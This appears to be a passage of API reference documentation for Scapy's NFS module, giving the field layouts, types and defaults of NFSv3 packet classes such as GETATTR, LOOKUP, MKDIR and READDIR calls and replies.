+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TYPE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MODE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NLINK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              UID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              GID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SIZE                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              USED                             |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              RDEV             |              FSID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             FILEID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            ATIME S            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            ATIME NS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            MTIME S            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            MTIME NS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            CTIME S            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            CTIME NS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. Fattr3                            


Fattr3 fields






	type

	IntEnumField

	0



	mode

	OIntField

	0



	nlink

	IntField

	0



	uid

	IntField

	0



	gid

	IntField

	0



	size

	LongField

	0



	used

	LongField

	0



	rdev

	FieldListField

	[0, 0]



	fsid

	XLongField

	0



	fileid

	XLongField

	0



	atime_s

	IntField

	0



	atime_ns

	IntField

	0



	mtime_s

	IntField

	0



	mtime_ns

	IntField

	0



	ctime_s

	IntField

	0



	ctime_ns

	IntField

	0















	
class scapy.contrib.nfs.File_From_Dir(_pkt, /, *, fileid=0, filename=<Object_Name  |>, cookie=0, value_follows=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L165-L175]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L174-L175]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FILEID                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FILENAME           |             COOKIE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         VALUE FOLLOWS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. File_From_Dir                        


File_From_Dir fields






	fileid

	LongField

	0



	filename

	PacketField

	<Object_Name  |>



	cookie

	LongField

	0



	value_follows

	IntField

	0















	
class scapy.contrib.nfs.File_From_Dir_Plus(_pkt, /, *, fileid=0, filename=<Object_Name  |>, cookie=0, attributes_follow=0, attributes=<Fattr3  rdev=[0, 0] |>, handle_follows=0, filehandle=<File_Object  |>, value_follows=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L142-L162]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L161-L162]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FILEID                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FILENAME           |             COOKIE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |       ATTRIBUTES FOLLOW       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           ATTRIBUTES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         HANDLE FOLLOWS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |         VALUE FOLLOWS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. File_From_Dir_Plus                      


File_From_Dir_Plus fields






	fileid

	LongField

	0



	filename

	PacketField

	<Object_Name  |>



	cookie

	LongField

	0



	attributes_follow

	IntField

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	handle_follows

	IntField

	0



	filehandle

	PacketField (Cond)

	<File_Object  |>



	value_follows

	IntField

	0















	
class scapy.contrib.nfs.File_Object(_pkt, /, *, length=0, fh=b'', fill=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L102-L125]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L124-L125]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               FH              |              FILL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. File_Object                         


File_Object fields






	length

	IntField

	0



	fh

	StrLenField

	b''



	fill

	StrLenField

	b''











	
set(new_filehandle, length=None, fill=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L110-L122]

	








	
class scapy.contrib.nfs.GETATTR_Call(_pkt, /, *, filehandle=<File_Object  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L213-L217]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GETATTR_Call                         


GETATTR_Call fields






	filehandle

	PacketField

	<File_Object  |>















	
class scapy.contrib.nfs.GETATTR_Reply(_pkt, /, *, status=0, attributes=<Fattr3  rdev=[0, 0] |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L220-L231]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L230-L231]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GETATTR_Reply                        


GETATTR_Reply fields






	status

	IntEnumField

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>















	
class scapy.contrib.nfs.LINK_Call(_pkt, /, *, filehandle=<File_Object  |>, link_dir=<File_Object  |>, link_name=<Object_Name  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L786-L792]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |            LINK DIR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LINK NAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. LINK_Call                          


LINK_Call fields






	filehandle

	PacketField

	<File_Object  |>



	link_dir

	PacketField

	<File_Object  |>



	link_name

	PacketField

	<Object_Name  |>















	
class scapy.contrib.nfs.LINK_Reply(_pkt, /, *, status=0, af_file=0, file_attributes=<Fattr3  rdev=[0, 0] |>, af_link_before=0, link_attributes_before=<WCC_Attr  |>, af_link_after=0, link_attributes_after=<Fattr3  rdev=[0, 0] |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L795-L814]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AF FILE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        FILE ATTRIBUTES        |         AF LINK BEFORE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |     LINK ATTRIBUTES BEFORE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         AF LINK AFTER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LINK ATTRIBUTES AFTER     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LINK_Reply                          


LINK_Reply fields






	status

	IntEnumField

	0



	af_file

	IntField

	0



	file_attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	af_link_before

	IntField

	0



	link_attributes_before

	PacketField (Cond)

	<WCC_Attr  |>



	af_link_after

	IntField

	0



	link_attributes_after

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>















	
class scapy.contrib.nfs.LOOKUP_Call(_pkt, /, *, dir=<File_Object  |>, filename=<Object_Name  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L241-L246]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DIR              |            FILENAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LOOKUP_Call                         


LOOKUP_Call fields






	dir

	PacketField

	<File_Object  |>



	filename

	PacketField

	<Object_Name  |>















	
class scapy.contrib.nfs.LOOKUP_Reply(_pkt, /, *, status=0, filehandle=<File_Object  |>, af_file=0, file_attributes=<Fattr3  rdev=[0, 0] |>, af_dir=0, dir_attributes=<Fattr3  rdev=[0, 0] |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L249-L267]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |            AF FILE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        FILE ATTRIBUTES        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             AF DIR                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DIR ATTRIBUTES        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LOOKUP_Reply                         


LOOKUP_Reply fields






	status

	IntEnumField

	0



	filehandle

	PacketField (Cond)

	<File_Object  |>



	af_file

	IntField (Cond)

	0



	file_attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	af_dir

	IntField

	0



	dir_attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>















	
class scapy.contrib.nfs.MKDIR_Call(_pkt, /, *, dir=<File_Object  |>, dir_name=<Object_Name  |>, attributes=<Sattr3  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L923-L929]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DIR              |            DIR NAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MKDIR_Call                          


MKDIR_Call fields






	dir

	PacketField

	<File_Object  |>



	dir_name

	PacketField

	<Object_Name  |>



	attributes

	PacketField

	<Sattr3  |>















	
class scapy.contrib.nfs.MKDIR_Reply(_pkt, /, *, status=0, handle_follows=0, filehandle=<File_Object  |>, attributes_follow=0, attributes=<Fattr3  rdev=[0, 0] |>, af_before=0, dir_attributes_before=<WCC_Attr  |>, af_after=0, dir_attributes_after=<Fattr3  rdev=[0, 0] |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L932-L960]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         HANDLE FOLLOWS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |       ATTRIBUTES FOLLOW       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           ATTRIBUTES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           AF BEFORE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     DIR ATTRIBUTES BEFORE     |            AF AFTER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |      DIR ATTRIBUTES AFTER     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MKDIR_Reply                         


MKDIR_Reply fields






	status

	IntEnumField

	0



	handle_follows

	IntField (Cond)

	0



	filehandle

	PacketField (Cond)

	<File_Object  |>



	attributes_follow

	IntField (Cond)

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	af_before

	IntField

	0



	dir_attributes_before

	PacketField (Cond)

	<WCC_Attr  |>



	af_after

	IntField

	0



	dir_attributes_after

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>















	
class scapy.contrib.nfs.NULL_Call(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L275-L277]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.nfs.NULL_Reply(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L280-L282]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.nfs.OIntField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L69-L72]

	Bases: IntField

IntField child with octal representation


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L71-L72]

	








	
class scapy.contrib.nfs.PATHCONF_Call(_pkt, /, *, filehandle=<File_Object  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L335-L339]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PATHCONF_Call                        


PATHCONF_Call fields






	filehandle

	PacketField

	<File_Object  |>















	
class scapy.contrib.nfs.PATHCONF_Reply(_pkt, /, *, status=0, attributes_follow=0, attributes=<Fattr3  rdev=[0, 0] |>, linkmax=0, name_max=0, no_trunc=0, chown_restricted=0, case_insensitive=0, case_preserving=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L342-L369]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ATTRIBUTES FOLLOW                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |            LINKMAX            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            NAME MAX           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            NO TRUNC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        CHOWN RESTRICTED       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        CASE INSENSITIVE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        CASE PRESERVING        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PATHCONF_Reply                        


PATHCONF_Reply fields






	status

	IntEnumField

	0



	attributes_follow

	IntField

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	linkmax

	IntField (Cond)

	0



	name_max

	IntField (Cond)

	0



	no_trunc

	IntEnumField (Cond)

	0



	chown_restricted

	IntEnumField (Cond)

	0



	case_insensitive

	IntEnumField (Cond)

	0



	case_preserving

	IntEnumField (Cond)

	0















	
class scapy.contrib.nfs.READDIRPLUS_Call(_pkt, /, *, filehandle=<File_Object  |>, cookie=0, verifier=0, dircount=512, maxcount=4096)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L416-L424]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |             COOKIE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            VERIFIER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            DIRCOUNT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            MAXCOUNT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. READDIRPLUS_Call                       


READDIRPLUS_Call fields






	filehandle

	PacketField

	<File_Object  |>



	cookie

	LongField

	0



	verifier

	LongField

	0



	dircount

	IntField

	512



	maxcount

	IntField

	4096















	
class scapy.contrib.nfs.READDIRPLUS_Reply(_pkt, /, *, status=0, attributes_follow=0, attributes=<Fattr3  rdev=[0, 0] |>, verifier=0, value_follows=0, files=[], eof=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L427-L456]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L455-L456]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ATTRIBUTES FOLLOW                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |            VERIFIER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         VALUE FOLLOWS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             FILES             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              EOF                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. READDIRPLUS_Reply                      


READDIRPLUS_Reply fields






	status

	IntEnumField

	0



	attributes_follow

	IntField

	0



	attributes

	PacketField (Cond)

	<Fattr3  rdev=[0, 0] |>



	verifier

	LongField (Cond)

	0



	value_follows

	IntField (Cond)

	0



	files

	PacketListField (Cond)

	[]



	eof

	IntField (Cond)

	0















	
class scapy.contrib.nfs.READDIR_Call(_pkt, /, *, filehandle=<File_Object  |>, cookie=0, verifier=0, count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L697-L704]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |             COOKIE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            VERIFIER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             COUNT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. READDIR_Call                         


READDIR_Call fields






	filehandle

	PacketField

	<File_Object  |>



	cookie

	LongField

	0



	verifier

	XLongField

	0



	count

	IntField

	0















	
class scapy.contrib.nfs.READDIR_Reply(_pkt, /, *, status=0, attributes_follow=0, attributes=<Fattr3  rdev=[0, 0] |>, verifier=0, value_follows=0, files=[], eof=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/nfs.py#L707-L732]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ATTRIBUTES FOLLOW                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ATTRIBUTES          |            VERIFIER           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         VALUE FOLLOWS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             FILES             |
